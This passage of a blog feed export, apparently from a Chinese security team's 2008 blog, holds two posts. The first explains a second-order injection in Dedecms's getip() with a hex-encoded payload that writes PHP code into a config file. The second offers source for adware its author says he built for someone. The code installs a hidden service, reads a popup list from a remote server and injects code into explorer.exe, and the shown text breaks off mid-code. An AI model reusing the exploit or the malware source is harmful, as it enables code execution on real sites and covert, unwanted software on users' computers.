0);"&gt;0x68656967655C273B706870696E666F28293B2F2F&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+--------------------------------------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0x68656967655C273B706870696E666F28293B2F2F&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+--------------------------------------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; heige\&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;phpinfo();//                       |&lt;br /&gt;+--------------------------------------------+&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;利用流程：&lt;br /&gt;A：&lt;br /&gt;             else{ //成功登录&lt;br /&gt;             //$ipp="121.11.11.1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;uname&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0x68656967655C273B706870696E666F28293B2F2F&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;uptime&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1";&lt;br /&gt;                 $dsql-&amp;gt;ExecuteNoneQuery("update #@__member set logintime=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.mytime().&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,loginip=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.$ipp.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where ID=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ID&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;]}&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;");&lt;br /&gt;                &lt;br /&gt;                &lt;br /&gt;B：FushCache()&lt;br /&gt;&lt;br /&gt;             $row = $dsql-&amp;gt;GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$mid&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ");&lt;br /&gt;&lt;br /&gt;C：WriteUserInfos()&lt;br /&gt;&lt;br /&gt;heige\&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;phpinfo&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; ---str_replace--&amp;gt;heige\\';phpinfo();//---fwrite---&amp;gt;heige\\';phpinfo();//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;===&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$cfg_userinfos&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;uname&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;heige\\&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;phpinfo&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;'; 完美闭和前面的' :)&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;其中str_replace的部分相当于代码：&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;php&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;heige\';phpinfo();//&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;str_replace&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;\\'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;整个过程其实就是一个很完整的"二次攻击"，而str_replace("'","\\'",$v);起了关键性的作用 :)&lt;br /&gt;&lt;br /&gt;[因为这个漏洞当我pc上有那么段时间了，这个文章很多都是凭记忆写的，可能有错误，有兴趣的同学可以自己跟一下。]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-9131315433257986360?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/9131315433257986360/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=9131315433257986360' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/9131315433257986360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/9131315433257986360'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/05/tipsdedecms-getip.html' title='[Tips]Dedecms getip()的漏洞利用'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-7440588195502750304</id><published>2008-05-16T08:12:00.000-07:00</published><updated>2008-05-16T08:18:48.290-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]一个弹窗口的流氓软件</title><content type='html'>by 云舒&lt;br /&gt;2008-05-16&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;      这个东西的主要功能就是去网上一个URL读取配置文件，拿到需要弹出的窗口以及周期时间，然后开始弹……程序安装成服务，并设置为自动启动。启动之后写入一段代码到explorer.exe进程中，也就是这里在弹网页，然后将服务停止。&lt;br /&gt;&lt;br /&gt;      我写的代码没什么技术含量，唯一的是使用了我们team的zzzevazzz的隐藏服务代码，最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过，所以我发出来也没问题了。&lt;br /&gt;      &lt;br /&gt;      这个是主函数，安装，读取配置，注入代码用的。 &lt;br /&gt;&lt;div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 11px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 430px; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee; overflow: auto;"&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;1.&amp;nbsp;给XX作的流氓软件&lt;br&gt;*&amp;nbsp;2.&amp;nbsp;隐藏服务是copy的EVA的代码，修改Services.exe进程内存。&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;stdio.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;stdlib.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Winsock2.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;windows.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Tlhelp32.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;是否记录日志&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#define&amp;nbsp;DEBUG&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;DEBUG_LOG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;"c:\debug.txt"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;日志记录函数&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ControlService.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;HideService.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;CustomFunction.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;#pragma&amp;nbsp;comment&amp;nbsp;(lib,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Advapi32.lib&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;#pragma&amp;nbsp;comment&amp;nbsp;(lib,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Shell32.lib&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;#pragma&amp;nbsp;comment&amp;nbsp;(lib,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ws2_32.lib&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;#pragma&amp;nbsp;comment&amp;nbsp;(lib,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;User32.lib&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REMOTE_FUNC_LENGTH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1024&amp;nbsp;*&amp;nbsp;10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;拷贝的长度&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TARGET_PROCESS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;L"explorer.exe"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;要注入代码的目标进程&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CONFIG_HOST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;"www.icylife.net"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;读取配置信息的服务器&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;CONFIG_PATH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;"/url.txt"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;配置信息在配置服务器的路径&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IE_PATH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;"C:\Program&amp;nbsp;Files\Internet&amp;nbsp;Explorer\iexplore.exe"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEFAULT_URL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;"http:&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;www.he100.com"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;默认弹出的窗口&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEFAULT_SLEEP_TIME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;30&amp;nbsp;*&amp;nbsp;60&amp;nbsp;*&amp;nbsp;1000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;默认弹出窗口的间隔时间&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;宏，转换字符串为unicode&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;MULTI_TO_WIDE(&amp;nbsp;x,&amp;nbsp;y&amp;nbsp;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MultiByteToWideChar(&amp;nbsp;CP_ACP,&amp;nbsp;MB_PRECOMPOSED,y,-1,x,_MAX_PATH&amp;nbsp;);&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;弹出窗口之间的间隔时间&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;sleep_time;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;弹出的url地址&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;url_path[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;512&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;函数原形&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServiceMain(&amp;nbsp;DWORD,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;**&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;服务入口&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;BOOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetDebugPrivilege(&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;获取debug权限&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetProcessIdByName(WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;获取进程的PID&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: 